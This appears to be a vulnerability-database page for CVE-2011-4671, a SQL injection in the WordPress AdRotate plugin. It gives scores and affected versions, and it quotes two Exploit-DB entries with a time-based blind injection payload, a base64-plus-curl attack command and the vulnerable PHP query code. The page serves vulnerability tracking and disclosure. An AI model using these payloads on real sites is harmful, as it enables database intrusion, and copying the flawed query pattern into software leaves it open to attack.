CVE-2011-4671
published 2011-12-02CVE-2011-4671: SQL injection vulnerability in adrotate/adrotate-out.php in the AdRotate plugin 3.6.6, and other versions before 3.6.8, for WordPress allows remote attackers…
PriorityP348high7.5CVSS 2.0
AVNACLAuNCPIPAP
EXPLOIT
EPSS
3.07%
86.0th percentile
SQL injection vulnerability in adrotate/adrotate-out.php in the AdRotate plugin 3.6.6, and other versions before 3.6.8, for WordPress allows remote attackers to execute arbitrary SQL commands via the track parameter (aka redirect URL).
Affected
47 ranges· showing 25
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| adrotateplugin | adrotate | <= 3.6.7 | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
| adrotateplugin | adrotate | — | — |
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
No detection rules found.
Exploit-DB
WordPress Plugin AdRotate 3.6.6 - SQL Injection
exploitdb·2011-11-14
CVE-2011-4671 WordPress Plugin AdRotate 3.6.6 - SQL Injection
WordPress Plugin AdRotate 3.6.6 - SQL Injection
---
# Exploit Title: WordPress AdRotate plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#"
encoded=`echo -n "1' AND 1=IF(2>1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)#" | base64 -w 0`
curl http://www.site.com/wp-content/plugins/adrotate/adrotate-out.php?track=$encoded
Vulnerable code
if(isset($_GET['track']) OR $_GET['track'] != '') {
$meta = base64_decode($_GET['track']);
...
list($ad, $group, $block) = explode("-", $meta);
...
$bannerurl = $wpdb->get_var($wpdb->prepare("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;")); //wrong (mis)usage of wpdb->prepare()
Exploit-DB
WordPress Plugin AdRotate 3.6.5 - SQL Injection
exploitdb·2011-09-24
CVE-2011-4671 WordPress Plugin AdRotate 3.6.5 - SQL Injection
WordPress Plugin AdRotate 3.6.5 - SQL Injection
---
# Exploit Title: WordPress AdRotate plugin 1,BENCHMARK(5000000,MD5(CHAR(115,113,108,109,97,112))),0)%23
Vulnerable code
if(isset($_GET['track']) OR $_GET['track'] != '') {
$meta = urldecode($_GET['track']);
...
list($ad, $group, $block) = explode("-", $meta);
...
$bannerurl = $wpdb->get_var("SELECT `link` FROM `".$prefix."adrotate` WHERE `id` = '".$ad."' LIMIT 1;");
No writeups or analysis indexed.
http://downloads.wordpress.org/plugin/adrotate.3.6.8.ziphttp://secunia.com/advisories/46814http://unconciousmind.blogspot.com/2011/11/wordpress-adrotate-plugin-366-sql.htmlhttp://www.exploit-db.com/exploits/18114http://www.securityfocus.com/bid/50674http://downloads.wordpress.org/plugin/adrotate.3.6.8.ziphttp://secunia.com/advisories/46814http://unconciousmind.blogspot.com/2011/11/wordpress-adrotate-plugin-366-sql.htmlhttp://www.exploit-db.com/exploits/18114http://www.securityfocus.com/bid/50674
2011-12-02
Published